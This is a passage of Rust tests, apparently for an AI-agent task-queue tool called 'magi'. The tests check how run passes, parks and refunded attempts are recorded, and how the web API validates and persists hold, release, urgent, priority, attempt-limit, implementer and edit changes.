15857                recorded_pass(0, parked(upgrade_cause())),
15858                recorded_pass(1, None),
15859            ];
15860        });
15861        let mut task = flow_task(&[RUN_X, RUN_X]);
15862        task.attempts = 1;
15863        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15864        let h = task_history(&task, |_| Some(run.clone()));
15865        assert_eq!(h.len(), 2);
15866        assert_eq!(h[0].kind, "competition");
15867        assert_eq!(h[1].kind, "resume");
15868        assert_eq!(
15869            (h[0].exit, h[0].attempt),
15870            (RunExit::Parked, AttemptCost::Refunded)
15871        );
15872        assert!(
15873            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15874            "{}",
15875            h[0].outcome
15876        );
15877        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15878        assert!(
15879            h[0].outcome.contains("pass #2 resumed the same run"),
15880            "{}",
15881            h[0].outcome
15882        );
15883        assert!(
15884            h[0].outcome.contains("pass 1 of 2 over run"),
15885            "{}",
15886            h[0].outcome
15887        );
15888        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15889        assert_eq!(
15890            h[0].exit_label,
15891            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15892        );
15893        let f = task_flow(&task, &h, 2, None);
15894        // Two passes of one run, one of two attempts consumed.
15895        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15896        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15897        assert!(
15898            f.edges[1].label.contains("upgrade 0.121.0"),
15899            "{}",
15900            f.edges[1].label
15901        );
15902        assert!(
15903            f.edges[1].label.contains("resume the same run"),
15904            "{}",
15905            f.edges[1].label
15906        );
15907        assert_eq!(f.nodes[1].note, Some("parked"));
15908    }
15909
15910    #[test]
15911    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15912        let mut a = flow_run(RunStatus::Implementing, |s| {
15913            s.passes = vec![
15914                recorded_pass(0, parked(upgrade_cause())),
15915                recorded_pass(1, None),
15916            ];
15917        });
15918        let mut b = flow_run(RunStatus::Failed, |s| {
15919            s.passes = vec![recorded_pass(0, None)];
15920        });
15921        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15922        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15923        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15924        let mut task = flow_task(&[]);
15925        task.start("a".into());
15926        task.start("b".into());
15927        task.start("a".into());
15928        assert_eq!(task.runs, ["b", "a"]);
15929        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15930        let h = task_history(&task, |id| {
15931            Some(if id == "a" { a.clone() } else { b.clone() })
15932        });
15933        assert_eq!(
15934            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15935            ["a", "b", "a"]
15936        );
15937        assert_eq!(h[0].attempt, AttemptCost::Refunded);
15938        assert!(h[0].outcome.contains("upgrade"));
15939        assert_eq!(h[2].kind, "resume");
15940        assert!(h[2].pass.is_some());
15941        // The old repeated-id format must show the same recorded passes.
15942        task.runs = vec!["a".into(), "b".into(), "a".into()];
15943        let old = task_history(&task, |id| {
15944            Some(if id == "a" { a.clone() } else { b.clone() })
15945        });
15946        assert_eq!(
15947            old.iter()
15948                .map(|v| (&v.id, &v.kind, v.attempt))
15949                .collect::<Vec<_>>(),
15950            h.iter()
15951                .map(|v| (&v.id, &v.kind, v.attempt))
15952                .collect::<Vec<_>>()
15953        );
15954    }
15955
15956    #[test]
15957    fn an_upgrade_whose_target_was_not_known_says_so() {
15958        let run = flow_run(RunStatus::Implementing, |s| {
15959            s.passes = vec![
15960                recorded_pass(
15961                    0,
15962                    parked(crate::run::ParkCause::Upgrade {
15963                        from: "0.121.0".to_owned(),
15964                        to: None,
15965                    }),
15966                ),
15967                recorded_pass(1, None),
15968            ];
15969        });
15970        let task = flow_task(&[RUN_X, RUN_X]);
15971        let h = task_history(&task, |_| Some(run.clone()));
15972        assert!(
15973            h[0].outcome.contains("upgrade from 0.121.0"),
15974            "{}",
15975            h[0].outcome
15976        );
15977        // No settle record: the refund is not claimed.
15978        assert_eq!(h[0].attempt, AttemptCost::Unknown);
15979    }
15980
15981    #[test]
15982    fn each_pass_keeps_its_own_cause_across_several_resumes() {
15983        use crate::queue::PassCost;
15984        use crate::run::ParkCause;
15985        let run = flow_run(RunStatus::Implementing, |s| {
15986            s.passes = vec![
15987                recorded_pass(0, parked(upgrade_cause())),
15988                recorded_pass(
15989                    1,
15990                    parked(ParkCause::Interrupt {
15991                        reason: "task a1b2 asked to run first".to_owned(),
15992                    }),
15993                ),
15994                recorded_pass(2, parked(ParkCause::Operator)),
15995                recorded_pass(3, None),
15996            ];
15997        });
15998        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
15999        task.attempts = 1;
16000        task.passes = (0..3)
16001            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16002            .collect();
16003        let h = task_history(&task, |_| Some(run.clone()));
16004        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16005        assert!(
16006            h[1].outcome.contains("task a1b2 asked to run first"),
16007            "{}",
16008            h[1].outcome
16009        );
16010        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16011        assert!(
16012            h[2].outcome.contains("operator asked the loop to park"),
16013            "{}",
16014            h[2].outcome
16015        );
16016        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16017        let f = task_flow(&task, &h, 2, None);
16018        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16019    }
16020
16021    #[test]
16022    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16023        let run = flow_run(RunStatus::Implementing, |s| {
16024            s.passes = vec![
16025                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16026                recorded_pass(1, None),
16027            ];
16028        });
16029        let task = flow_task(&[RUN_X, RUN_X]);
16030        let h = task_history(&task, |_| Some(run.clone()));
16031        assert_eq!(h[0].exit, RunExit::Interrupted);
16032        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16033        assert!(
16034            h[0].outcome.contains("without recording why"),
16035            "{}",
16036            h[0].outcome
16037        );
16038        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16039        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16040    }
16041
16042    #[test]
16043    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16044        use crate::queue::PassCost;
16045        // Three entries, but the run only began keeping passes at the last
16046        // two: the first is legacy and must not be given a cause.
16047        let run = flow_run(RunStatus::Implementing, |s| {
16048            s.passes = vec![
16049                recorded_pass(0, parked(upgrade_cause())),
16050                recorded_pass(1, None),
16051            ];
16052        });
16053        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16054        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16055        let h = task_history(&task, |_| Some(run.clone()));
16056        assert!(h[0].pass.is_none());
16057        assert_eq!(h[0].exit, RunExit::Interrupted);
16058        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16059        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16060        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16061        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16062        // A run with no passes at all is entirely unknown.
16063        let legacy = flow_run(RunStatus::Implementing, |_| {});
16064        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16065        assert!(h.iter().all(|v| v.pass.is_none()));
16066        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16067    }
16068
16069    #[test]
16070    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16071        use crate::queue::PassCost;
16072        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16073        // task. The two entries are passes 0 and 2.
16074        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16075        web.task_entry = false;
16076        let run = flow_run(RunStatus::Implementing, |s| {
16077            s.passes = vec![
16078                recorded_pass(0, parked(upgrade_cause())),
16079                web.clone(),
16080                recorded_pass(2, None),
16081            ];
16082        });
16083        let mut task = flow_task(&[RUN_X, RUN_X]);
16084        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16085        let h = task_history(&task, |_| Some(run.clone()));
16086        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16087        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16088
16089        // Legacy first entry, then a web resume that parked for an upgrade,
16090        // then the daemon's pass: the legacy entry must stay unknown.
16091        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16092        web0.task_entry = false;
16093        let run = flow_run(RunStatus::Implementing, |s| {
16094            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16095        });
16096        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16097        assert!(h[0].pass.is_none());
16098        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16099        assert!(h[1].pass.is_some());
16100    }
16101
16102    #[tokio::test]
16103    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16104        let dir = tempfile::tempdir().unwrap();
16105        let queue = Queue::at(dir.path().join("queue"));
16106        let ui = Arc::new(Ui::new(
16107            queue.clone(),
16108            Questions::at(dir.path().join("questions")),
16109            Talks::at(dir.path().join("talks")),
16110            dir.path().join("runs"),
16111            dir.path().to_path_buf(),
16112            dir.path().to_path_buf(),
16113        ));
16114        let mut t = Task::new(
16115            "recover".into(),
16116            "Inspect".into(),
16117            PathBuf::from("."),
16118            Source::Human,
16119        );
16120        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16121        t.start("run-A".into());
16122        t.release_operator("choice", Some("resume-question"));
16123        t.resume_override = Some(crate::queue::OperatorResume {
16124            question_id: "resume-question".into(),
16125            at: jiff::Timestamp::now(),
16126            conductor_rehold: None,
16127            forced: true,
16128            pinned_run: Some("run-A".into()),
16129        });
16130        t.hold_machine(Some("inspection pending".into()));
16131        t.edit("recover".into(), "Reuse approved PR head".into())
16132            .unwrap();
16133        queue.put(&mut t).unwrap();
16134        let mut cli = t.clone();
16135        cli.release_operator("cli", None);
16136        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16137        let reloaded = queue.get(&t.id).unwrap();
16138        assert_eq!(reply.task.status, TaskStatus::Queued);
16139        assert!(reloaded.resume_override.is_none());
16140        assert_eq!(reloaded.answers, t.answers);
16141        let mut web = reloaded.resumption.unwrap();
16142        let cli = cli.resumption.unwrap();
16143        assert_eq!(web.source, "web");
16144        web.source = cli.source.clone();
16145        web.at = cli.at;
16146        assert_eq!(web, cli);
16147    }
16148
16149    #[tokio::test]
16150    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16151        let f = Fixture::start().await;
16152        let queue = f.queue();
16153        let mut task = Task::new(
16154            "spent".to_owned(),
16155            "Try again".to_owned(),
16156            PathBuf::from("/repo/magi"),
16157            Source::Human,
16158        );
16159        task.start("20260902-140502-bbbb".to_owned());
16160        task.fail("agent gave up", 9);
16161        queue.put(&mut task).expect("file the task");
16162
16163        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16164        assert_eq!(held.status, 200);
16165        assert_eq!(held.json()["status_str"], "held");
16166
16167        let released = f
16168            .post(&format!("/api/queue/{}/release", task.id), None)
16169            .await;
16170        assert_eq!(released.status, 200);
16171        assert_eq!(released.json()["status_str"], "queued");
16172        assert_eq!(released.json()["resumption"]["source"], "web");
16173        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16174        let mut cli = task.clone();
16175        cli.release_operator("cli", None);
16176        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16177        let cli = cli.resumption.unwrap();
16178        assert_eq!(web.instruction, cli.instruction);
16179        assert_eq!(web.answers_through, cli.answers_through);
16180        assert_eq!(web.runs_through, cli.runs_through);
16181        assert_eq!(web.cleared_reason, cli.cleared_reason);
16182        assert_eq!(
16183            released.json()["attempts"],
16184            0,
16185            "release is a real second chance, not an instant re-hold"
16186        );
16187        assert_eq!(
16188            queue.get(&task.id).expect("reload").status,
16189            TaskStatus::Queued,
16190            "the change is on disk, not only in the reply"
16191        );
16192        assert!(
16193            !f.home
16194                .path()
16195                .join("queue")
16196                .join(format!("{}.lock", task.id))
16197                .exists(),
16198            "the claim the mutation took is released again"
16199        );
16200    }
16201
16202    #[tokio::test]
16203    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16204        let f = Fixture::start().await;
16205        let queue = f.queue();
16206        let mut task = Task::new(
16207            "busy".to_owned(),
16208            "Running right now".to_owned(),
16209            PathBuf::from("/repo/magi"),
16210            Source::Human,
16211        );
16212        queue.put(&mut task).expect("file the task");
16213        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16214
16215        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16216
16217        assert_eq!(res.status, 409);
16218        assert_eq!(
16219            queue.get(&task.id).expect("reload").status,
16220            TaskStatus::Queued,
16221            "the refused hold changed nothing"
16222        );
16223    }
16224
16225    #[tokio::test]
16226    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16227        let f = Fixture::start().await;
16228        let queue = f.queue();
16229        let mut task = Task::new(
16230            "waiting on the migration".to_owned(),
16231            "Do the thing".to_owned(),
16232            PathBuf::from("/repo/magi"),
16233            Source::Human,
16234        );
16235        queue.put(&mut task).expect("file the task");
16236
16237        let held = f
16238            .post(
16239                &format!("/api/queue/{}/hold", task.id),
16240                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16241            )
16242            .await;
16243        assert_eq!(held.status, 200, "{}", held.body);
16244        assert_eq!(held.json()["status_str"], "held");
16245        assert_eq!(
16246            held.json()["hold_reason"],
16247            "waiting for 20260101-000000-aaaa to land"
16248        );
16249
16250        let listed = f.get("/api/queue").await.json();
16251        assert_eq!(
16252            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16253            "the card reads the reason off the same list route"
16254        );
16255
16256        // A hold with no body at all must keep working - most holds have no
16257        // reason to give.
16258        let mut plain = Task::new(
16259            "no reason given".to_owned(),
16260            "Do another thing".to_owned(),
16261            PathBuf::from("/repo/magi"),
16262            Source::Human,
16263        );
16264        queue.put(&mut plain).expect("file the task");
16265        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16266        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16267        assert!(held_plain.json()["hold_reason"].is_null());
16268
16269        let released = f
16270            .post(&format!("/api/queue/{}/release", task.id), None)
16271            .await;
16272        assert_eq!(released.status, 200);
16273        assert!(
16274            released.json()["hold_reason"].is_null(),
16275            "a release must clear the reason so the next hold does not inherit it"
16276        );
16277    }
16278
16279    #[test]
16280    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16281        for urgent in [true, false] {
16282            let body: UrgentBody =
16283                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16284            assert_eq!(body.urgent, urgent);
16285        }
16286        for input in [
16287            r#"{}"#,
16288            r#"{"urgent":null}"#,
16289            r#"{"urgent":"true"}"#,
16290            r#"{"urgent":1}"#,
16291            r#"{"urgent":true,"extra":false}"#,
16292        ] {
16293            assert!(
16294                serde_json::from_str::<UrgentBody>(input).is_err(),
16295                "{input}"
16296            );
16297        }
16298    }
16299
16300    #[tokio::test]
16301    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16302        let home = TempDir::new().unwrap();
16303        let q = Queue::at(home.path().join("queue"));
16304        let ui = Arc::new(Ui::new(
16305            q.clone(),
16306            Questions::at(home.path().join("questions")),
16307            Talks::at(home.path().join("talks")),
16308            home.path().join("runs"),
16309            home.path().into(),
16310            home.path().into(),
16311        ));
16312        let mut task = Task::new(
16313            "urgent handler".into(),
16314            "keep".into(),
16315            home.path().into(),
16316            Source::Human,
16317        );
16318        for status in [TaskStatus::Queued, TaskStatus::Held] {
16319            task.status = status;
16320            q.put(&mut task).unwrap();
16321            for urgent in [true, true, false, false] {
16322                let saved = queue_urgent(
16323                    State(Arc::clone(&ui)),
16324                    Path(task.short().into()),
16325                    Ok(Json(UrgentBody { urgent })),
16326                )
16327                .await
16328                .unwrap();
16329                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16330                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16331            }
16332        }
16333        task.status = TaskStatus::Queued;
16334        q.put(&mut task).unwrap();
16335        let claim = q.claim(&task.id).unwrap();
16336        let error = queue_urgent(
16337            State(Arc::clone(&ui)),
16338            Path(task.id.clone()),
16339            Ok(Json(UrgentBody { urgent: true })),
16340        )
16341        .await
16342        .unwrap_err();
16343        assert_eq!(error.status, StatusCode::CONFLICT);
16344        assert!(error.message.contains("released"));
16345        drop(claim);
16346        for status in [
16347            TaskStatus::Running,
16348            TaskStatus::Done,
16349            TaskStatus::Failed,
16350            TaskStatus::Blocked,
16351            TaskStatus::Parked,
16352        ] {
16353            task.status = status;
16354            q.put(&mut task).unwrap();
16355            let error = queue_urgent(
16356                State(Arc::clone(&ui)),
16357                Path(task.id.clone()),
16358                Ok(Json(UrgentBody { urgent: false })),
16359            )
16360            .await
16361            .unwrap_err();
16362            assert_eq!(error.status, StatusCode::BAD_REQUEST);
16363            assert!(error.message.contains(status.as_str()));
16364        }
16365    }
16366
16367    #[tokio::test]
16368    async fn urgent_api_updates_preserves_and_validates_tasks() {
16369        let f = Fixture::start().await;
16370        let q = f.queue();
16371        let mut t = Task::new(
16372            "urgent API".into(),
16373            "unchanged".into(),
16374            PathBuf::from("/repo/magi"),
16375            Source::Human,
16376        );
16377        t.attempts = 2;
16378        t.priority = 9;
16379        t.interrupt = true;
16380        t.hold_reason = Some("waiting for approval".into());
16381        for status in [TaskStatus::Queued, TaskStatus::Held] {
16382            t.status = status;
16383            q.put(&mut t).unwrap();
16384            for urgent in [true, true, false, false] {
16385                let response = f
16386                    .post(
16387                        &format!("/api/queue/{}/urgent", t.short()),
16388                        Some(&format!("{{\"urgent\":{urgent}}}")),
16389                    )
16390                    .await;
16391                assert_eq!(response.status, 200, "{}", response.body);
16392                assert_eq!(response.json()["urgent"], urgent);
16393                let saved = q.get(&t.id).unwrap();
16394                let mut before = serde_json::to_value(&t).unwrap();
16395                let mut after = serde_json::to_value(saved).unwrap();
16396                before["urgent"] = urgent.into();
16397                before.as_object_mut().unwrap().remove("updated_at");
16398                after.as_object_mut().unwrap().remove("updated_at");
16399                assert_eq!(after, before);
16400            }
16401        }
16402        let route = format!("/api/queue/{}/urgent", t.id);
16403        for body in [
16404            r#"{}"#,
16405            r#"{"urgent":null}"#,
16406            r#"{"urgent":"true"}"#,
16407            r#"{"urgent":1}"#,
16408            r#"{"urgent":true,"extra":false}"#,
16409            "{",
16410        ] {
16411            assert_eq!(f.post(&route, Some(body)).await.status, 400);
16412        }
16413        t.status = TaskStatus::Queued;
16414        q.put(&mut t).unwrap();
16415        let claim = q.claim(&t.id).unwrap();
16416        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16417        assert_eq!(response.status, 409, "{}", response.body);
16418        assert!(!q.get(&t.id).unwrap().urgent);
16419        drop(claim);
16420        for status in [
16421            TaskStatus::Running,
16422            TaskStatus::Done,
16423            TaskStatus::Failed,
16424            TaskStatus::Blocked,
16425            TaskStatus::Parked,
16426        ] {
16427            t.status = status;
16428            q.put(&mut t).unwrap();
16429            for urgent in [true, false] {
16430                let response = f
16431                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16432                    .await;
16433                assert_eq!(response.status, 400, "{}", response.body);
16434                assert!(response.body.contains(status.as_str()));
16435                assert!(response.body.contains("queued or held"));
16436                assert!(!q.get(&t.id).unwrap().urgent);
16437            }
16438        }
16439        assert_eq!(
16440            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16441                .await
16442                .status,
16443            404
16444        );
16445    }
16446
16447    #[tokio::test]
16448    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16449        let f = Fixture::start().await;
16450        let queue = f.queue();
16451        let mut older = Task::new(
16452            "filed first".to_owned(),
16453            "x".to_owned(),
16454            PathBuf::from("/repo/magi"),
16455            Source::Human,
16456        );
16457        older.id = "20260101-000001-aaaa".to_owned();
16458        let mut newer = Task::new(
16459            "filed second".to_owned(),
16460            "x".to_owned(),
16461            PathBuf::from("/repo/magi"),
16462            Source::Human,
16463        );
16464        newer.id = "20260101-000002-bbbb".to_owned();
16465        queue.put(&mut older).expect("file older");
16466        queue.put(&mut newer).expect("file newer");
16467
16468        // Equal priority: the newer task leads, the same order the old
16469        // newest-first `list()` already gave every equal-priority queue.
16470        let before = f.get("/api/queue").await.json();
16471        assert_eq!(before[0]["id"], newer.id);
16472        assert_eq!(before[1]["id"], older.id);
16473
16474        // Raising the *older* task is the meaningful case: it can only lead
16475        // now because its priority says so, not because it happens to be
16476        // newest.
16477        let raised = f
16478            .post(
16479                &format!("/api/queue/{}/priority", older.id),
16480                Some(r#"{"priority":10}"#),
16481            )
16482            .await;
16483        assert_eq!(raised.status, 200, "{}", raised.body);
16484        assert_eq!(raised.json()["priority"], 10);
16485
16486        let after = f.get("/api/queue").await.json();
16487        let names: Vec<&str> = after
16488            .as_array()
16489            .unwrap()
16490            .iter()
16491            .map(|t| t["id"].as_str().unwrap())
16492            .collect();
16493        // Highest priority first, which is the order next_runnable and
16494        // `magi task list` both use - GET /api/queue must agree with it
16495        // immediately, not just once the loop claims the task.
16496        assert_eq!(names[0], older.id, "the raised task now sorts first");
16497    }
16498
16499    #[tokio::test]
16500    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16501        let dir = TempDir::new().unwrap();
16502        let q = Queue::at(dir.path().join("queue"));
16503        let ui = Arc::new(Ui::new(
16504            q.clone(),
16505            Questions::at(dir.path().join("questions")),
16506            Talks::at(dir.path().join("talks")),
16507            dir.path().join("runs"),
16508            dir.path().to_path_buf(),
16509            dir.path().to_path_buf(),
16510        ));
16511        let mut t = Task::new(
16512            "budget".into(),
16513            "keep".into(),
16514            dir.path().into(),
16515            Source::Human,
16516        );
16517        t.attempts = 2;
16518        t.runs.push("prior-run".into());
16519        t.hold_manual(Some("waiting".into()));
16520        q.put(&mut t).unwrap();
16521        let change = |value| {
16522            queue_attempt_limit(
16523                State(ui.clone()),
16524                Path(t.id.clone()),
16525                Ok(Json(AttemptLimitBody {
16526                    attempt_limit: value,
16527                })),
16528            )
16529        };
16530        for value in [
16531            serde_json::json!(3),
16532            serde_json::Value::Null,
16533            serde_json::json!(1),
16534        ] {
16535            let response = change(value.clone()).await.unwrap();
16536            assert_eq!(
16537                serde_json::to_value(response.0).unwrap()["attempt_limit"],
16538                value
16539            );
16540            let saved = q.get(&t.id).unwrap();
16541            assert_eq!(
16542                serde_json::to_value(&saved).unwrap()["attempt_limit"],
16543                value
16544            );
16545            assert_eq!(saved.status, TaskStatus::Held);
16546            assert_eq!(saved.attempts, t.attempts);
16547            assert_eq!(saved.runs, t.runs);
16548            assert_eq!(saved.hold_reason, t.hold_reason);
16549            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16550                .await
16551                .unwrap()
16552                .0;
16553            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16554            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16555            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16556            assert_eq!(outcome.max_attempts, detail.max_attempts);
16557        }
16558        for value in [
16559            serde_json::json!(0),
16560            serde_json::json!(-1),
16561            serde_json::json!(1.5),
16562            serde_json::json!("3"),
16563            serde_json::json!(true),
16564        ] {
16565            assert_eq!(
16566                change(value).await.err().unwrap().status,
16567                StatusCode::BAD_REQUEST
16568            );
16569        }
16570        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16571        let claim = q.claim(&t.id).unwrap();
16572        assert_eq!(
16573            change(serde_json::json!(4)).await.err().unwrap().status,
16574            StatusCode::CONFLICT
16575        );
16576        drop(claim);
16577        for status in [
16578            TaskStatus::Running,
16579            TaskStatus::Done,
16580            TaskStatus::Failed,
16581            TaskStatus::Blocked,
16582            TaskStatus::Parked,
16583        ] {
16584            let mut stored = q.get(&t.id).unwrap();
16585            stored.status = status;
16586            q.put(&mut stored).unwrap();
16587            assert_eq!(
16588                change(serde_json::json!(4)).await.err().unwrap().status,
16589                StatusCode::BAD_REQUEST
16590            );
16591            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16592        }
16593        let mut stored = q.get(&t.id).unwrap();
16594        stored.status = TaskStatus::Queued;
16595        q.put(&mut stored).unwrap();
16596        let _ = change(serde_json::Value::Null).await.unwrap();
16597        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16598    }
16599
16600    #[tokio::test]
16601    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16602        let dir = TempDir::new().unwrap();
16603        let repo = dir.path().join("repo");
16604        std::fs::create_dir(&repo).unwrap();
16605        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16606        let q = Queue::at(dir.path().join("queue"));
16607        let ui = Arc::new(Ui::new(
16608            q.clone(),
16609            Questions::at(dir.path().join("questions")),
16610            Talks::at(dir.path().join("talks")),
16611            dir.path().join("runs"),
16612            dir.path().to_path_buf(),
16613            repo.clone(),
16614        ));
16615        let mut t = Task::new(
16616            "seats".into(),
16617            "keep instruction".into(),
16618            repo,
16619            Source::Human,
16620        );
16621        t.runs.push("prior-run".into());
16622        t.hold_manual(Some("waiting".into()));
16623        q.put(&mut t).unwrap();
16624        let change = |count| {
16625            queue_implementers(
16626                State(ui.clone()),
16627                Path(t.id.clone()),
16628                Ok(Json(ImplementersBody {
16629                    implementers: count,
16630                })),
16631            )
16632        };
16633        for count in [2, 1, 2] {
16634            let response = change(count).await.unwrap();
16635            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16636            let saved = q.get(&t.id).unwrap();
16637            assert_eq!(saved.implementers(), Some(usize::from(count)));
16638            assert_eq!(saved.runs, t.runs);
16639            assert_eq!(saved.instruction, t.instruction);
16640        }
16641        for count in [0, 4] {
16642            assert_eq!(
16643                change(count).await.err().unwrap().status,
16644                StatusCode::BAD_REQUEST
16645            );
16646        }
16647        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16648        let claim = q.claim(&t.id).unwrap();
16649        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16650        drop(claim);
16651        for status in [
16652            TaskStatus::Running,
16653            TaskStatus::Done,
16654            TaskStatus::Failed,
16655            TaskStatus::Blocked,
16656            TaskStatus::Parked,
16657        ] {
16658            let mut stored = q.get(&t.id).unwrap();
16659            stored.status = status;
16660            q.put(&mut stored).unwrap();
16661            assert_eq!(
16662                change(1).await.err().unwrap().status,
16663                StatusCode::BAD_REQUEST
16664            );
16665            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16666        }
16667    }
16668
16669    #[tokio::test]
16670    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16671        let f = Fixture::start().await;
16672        let queue = f.queue();
16673        let mut task = Task::new(
16674            "in flight".to_owned(),
16675            "x".to_owned(),
16676            PathBuf::from("/repo/magi"),
16677            Source::Human,
16678        );
16679        task.start("20260902-140502-bbbb".to_owned());
16680        queue.put(&mut task).expect("file the task");
16681
16682        let res = f
16683            .post(
16684                &format!("/api/queue/{}/priority", task.id),
16685                Some(r#"{"priority":9}"#),
16686            )
16687            .await;
16688        assert_eq!(res.status, 400, "{}", res.body);
16689        assert!(
16690            res.json()["error"]
16691                .as_str()
16692                .is_some_and(|e| e.contains("running")),
16693            "{}",
16694            res.body
16695        );
16696        assert_eq!(
16697            queue.get(&task.id).expect("reload").priority,
16698            0,
16699            "the refused write must not partially apply"
16700        );
16701    }
16702
16703    #[tokio::test]
16704    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16705        let f = Fixture::start().await;
16706        let queue = f.queue();
16707        let mut task = Task::new(
16708            "old title".to_owned(),
16709            "old instruction".to_owned(),
16710            PathBuf::from("/repo/magi"),
16711            Source::Agent {
16712                run: "20260101-000000-beef".to_owned(),
16713                node: "implement".to_owned(),
16714            },
16715        );
16716        task.runs.push("20260101-000000-beef".to_owned());
16717        queue.put(&mut task).expect("file the task");
16718        let created_at = task.created_at;
16719
16720        let edited = f
16721            .post(
16722                &format!("/api/queue/{}/edit", task.id),
16723                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16724            )
16725            .await;
16726        assert_eq!(edited.status, 200, "{}", edited.body);
16727        let body = edited.json();
16728        assert_eq!(body["title"], "new title");
16729        assert_eq!(body["instruction"], "new instruction");
16730        assert_eq!(body["id"], task.id, "editing must not mint a new id");
16731        assert_eq!(body["created_at"], created_at.to_string());
16732        assert_eq!(
16733            body["source"]["kind"], "agent",
16734            "editing a task an agent filed must not turn it human: {body}"
16735        );
16736        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16737
16738        let reloaded = queue.get(&task.id).expect("reload");
16739        assert_eq!(reloaded.title, "new title");
16740        assert_eq!(reloaded.instruction, "new instruction");
16741    }
16742
16743    #[tokio::test]
16744    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
16745        // The judge is an agent now: a repo whose only agent answers
16746        // "duplicate" stands in for it, so the refusal is the judge's.
16747        let tmp = TempDir::new().expect("tempdir");
16748        let repo = tmp.path().join("repo");
